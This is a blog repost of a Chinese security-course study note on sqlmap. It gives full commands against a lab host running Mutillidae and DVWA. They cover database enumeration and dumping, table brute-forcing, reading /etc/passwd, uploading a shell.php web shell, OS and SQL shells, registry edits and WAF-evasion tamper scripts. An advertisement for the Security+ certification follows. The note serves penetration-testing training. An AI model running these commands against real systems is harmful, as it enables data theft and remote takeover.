1. 程式人生 > >【安全牛學習筆記】SQLMAP自動註入-ENUMERATION、BRUTE FORCE、UDF IN

【安全牛學習筆記】SQLMAP自動註入-ENUMERATION、BRUTE FORCE、UDF IN

信息安全 security+ sqlmap自動註入

偽靜態頁面不能註入,這是錯誤的!

SQLMAP自動註入08-----ENUMERATION

--current-user

--current-db

--hostname

--users

--privileges -U username (CU當前賬號)

--roles

--dbs

--tables,--exclude-sysdbs -D dvwa

-T user -D dvwa -C user --columns

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --current-user

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --user

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --privileges -U guest

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --roles

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --dbs

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa --table

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --columns

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --count

SQLMAP自動註入08-----ENUMERATION

--schema --batch --exclude-sysdbs 元數據(使用默認選項)

--count

Dump數據

--dump,-C,-T,-D,--start,--stop

--dump-all --exclude-sysdbs

--sql-query "select * from users"

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 --schema --batch --exclude-sysdbs

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --dump

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --tamper="tamper/between.py,tamper/randomcase.py,tamper/space?comment.py" -v 3 -D dvwa -T users --dump-all

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --sql-query "select * from users"

SQLMAP自動註入09-----BRUTE FORCE

Mysql<5.0,沒有information_schema庫

Mysql>=5.0,但無權讀取information_schema庫

微軟的access數據庫,默認無權讀取MSysObjects庫

--common-tables

--common-columns (Access系統表無列信息)

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" --common-tables

SQLMAP自動註入10-----UDF INJECTION

--udf-inject,--shared-lib

編譯共享庫創建並上傳至DB Server,以此生成UDF實現高級註入

Linux: shared object

Windows: DLL

http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-

full-control-whitepaper-4633857

SQLMAP自動註入11-----FILE SYSTEM

--file-read="/etc/passwd"

--file-write="shell.php" --file-dest"/tmp/shell.php"

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --file-read="/etc/passwd"

root@R:~# cd /root/.sqlmap/output/192.168.1.115

root@R:/.sqlmap/output/192.168.1.115# ls

dump files log session.sqlite target.txt

root@R:/.sqlmap/output/192.168.1.115# cd files/

root@R:/.sqlmap/output/192.168.1.115/files# ls

_etc_passwd

root@R:/.sqlmap/output/192.168.1.115/files# cat _etc_passwd

root@R:~# vi shell.php

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --file-write="shell.php" --file-dest="/tmp/shell.php"

SQLMAP自動註入12-----OS

Mysql、postgresql

上傳共享庫並生成sys_exec()、sys_eval()兩個UDF

Mssql

xp_cmdshell存儲過程(有九用,禁了啟,沒有鍵)

--sql-shell

--os-shell

--os-cmd

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-cmd

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --os-shell

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --sql-shell

SQLMAP自動註入13-----WINDOWS REGISTORY

--reg-read

--reg-add

--reg-del

--reg-key、--reg-value、--reg-data、--reg-type

sqlmap.py -u="http://1.1.1.1/a.php?id=1 --reg-add\ --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG-SZ --reg-data=1

SQLMAP自動註入14-----GENERAL

-s: sqlite會話文件保存位置

-t: 記錄流浪文件保存位置

--charset: 強制字符編碼

--charset=GBK

--crawl: 從起始位置爬站深度

--batch --crawl=3

--csv-del: dump數據默認存於","分割的CSV文件中,指定其他分隔符

--csv-del=";"

--dbms-cred: 指定數據庫賬號

SQLMAP自動註入14-----GENERAL

--flush-session: 清空session

--force-ssl

--fresh-queries: 忽略session查詢結果

--hex: dump非ASCII字符內容時,將其編碼為16進制形式,收到後解碼還原

sqlmap -u "http://1.1.1.1/s.php?id=1" --hex -v 3

--output-dir=/tmp

--parse-error: 分析和現實數據庫內建報錯信息

sqlmap -u "http://1.1.1.1/sqlmap/a.php?id=1" --parse-errors

--save: 將命令保存成配置文件

root@R:~# sqlmap -u "http://192.168.1.115/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username" --dbs --fresh-queries --save

SQLMAP自動註入15-----MISCELLANEOUS

-z: 參數助記符

sqlmap --batch --random-agent --ignore-proxy --technique=BEU -u

"1.1.1.1/a.php?id=1"

sqlmap -z "bat,randcma,ign,tec=BEU" -u "1.1.1.1/a.php?id=1"

sqlmap -ignore-proxy --flush-session --technique=U --dump -D testdb -

T user -u "1.1.1.1/a.php?id=1"

sqlmap -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u

"1.1.1.1/vuln.php?id=1"

SQLMAP自動註入15-----MISCELLANEOUS

--answer

sqlmap -u "http://1.1.1.1/a.php?id=1" --technique=E --

answers="extending=N" --batch

--check-waf: 檢測WAF/IPS/IDS

--hpp: HTTP parameter pollution

繞過WAF/IPS/IDS的有效方法

尤其對ASP/ISS 和 ASP.NET/IIS

--identify-waf: 徹底的waf/ips/ids檢查

支持30多種產品

SQLMAP自動註入15-----MISCELLANEOUS

--mobile: 模擬智能手機設備

--purge-output: 清楚output文件夾

--smart: 當有大量檢測目標時,只選擇基於錯誤的檢測結果

--wizard: 向導

該筆記為安全牛課堂學員筆記,想看此課程或者信息安全類幹貨可以移步到安全牛課堂


Security+認證為什麽是互聯網+時代最火爆的認證?

牛妹先給大家介紹一下Security+


Security+ 認證是一種中立第三方認證,其發證機構為美國計算機行業協會CompTIA ;是和CISSP、ITIL 等共同包含在內的國際 IT 業 10 大熱門認證之一,和CISSP偏重信息安全管理相比,Security+ 認證更偏重信息安全技術和操作。

通過該認證證明了您具備網絡安全,合規性和操作安全,威脅和漏洞,應用程序、數據和主機安全,訪問控制和身份管理以及加密技術等方面的能力。因其考試難度不易,含金量較高,目前已被全球企業和安全專業人士所普遍采納。

Security+認證如此火爆的原因?

原因一:在所有信息安全認證當中,偏重信息安全技術的認證是空白的, Security+認證正好可以彌補信息安全技術領域的空白 。

目前行業內受認可的信息安全認證主要有CISP和CISSP,但是無論CISP還是CISSP都是偏重信息安全管理的,技術知識講的寬泛且淺顯,考試都是一帶而過。而且CISSP要求持證人員的信息安全工作經驗都要5年以上,CISP也要求大專學歷4年以上工作經驗,這些要求無疑把有能力且上進的年輕人的持證之路堵住。在現實社會中,無論是找工作還是升職加薪,或是投標時候報人員,認證都是必不可少的,這給年輕人帶來了很多不公平。而Security+的出現可以掃清這些年輕人職業發展中的障礙,由於Security+偏重信息安全技術,所以對工作經驗沒有特別的要求。只要你有IT相關背景,追求進步就可以學習和考試。

原因二: IT運維人員工作與翻身的利器。

在銀行、證券、保險、信息通訊等行業,IT運維人員非常多,IT運維涉及的工作面也非常廣。是一個集網絡、系統、安全、應用架構、存儲為一體的綜合性技術崗。雖然沒有程序猿們“生當做光棍,死亦寫代碼”的悲壯,但也有著“鋤禾日當午,不如運維苦“的感慨。天天對著電腦和機器,時間長了難免有對於職業發展的迷茫和困惑。Security+國際認證的出現可以讓有追求的IT運維人員學習網絡安全知識,掌握網絡安全實踐。職業發展朝著網絡安全的方向發展,解決國內信息安全人才的匱乏問題。另外,即使不轉型,要做好運維工作,學習安全知識取得安全認證也是必不可少的。

原因三:接地氣、國際範兒、考試方便、費用適中!

CompTIA作為全球ICT領域最具影響力的全球領先機構,在信息安全人才認證方面是專業、公平、公正的。Security+認證偏重操作且和一線工程師的日常工作息息相關。適合銀行、證券、保險、互聯網公司等IT相關人員學習。作為國際認證在全球147個國家受到廣泛的認可。

在目前的信息安全大潮之下,人才是信息安全發展的關鍵。而目前國內的信息安全人才是非常匱乏的,相信Security+認證一定會成為最火爆的信息安全認證。


【安全牛學習筆記】SQLMAP自動註入-ENUMERATION、BRUTE FORCE、UDF IN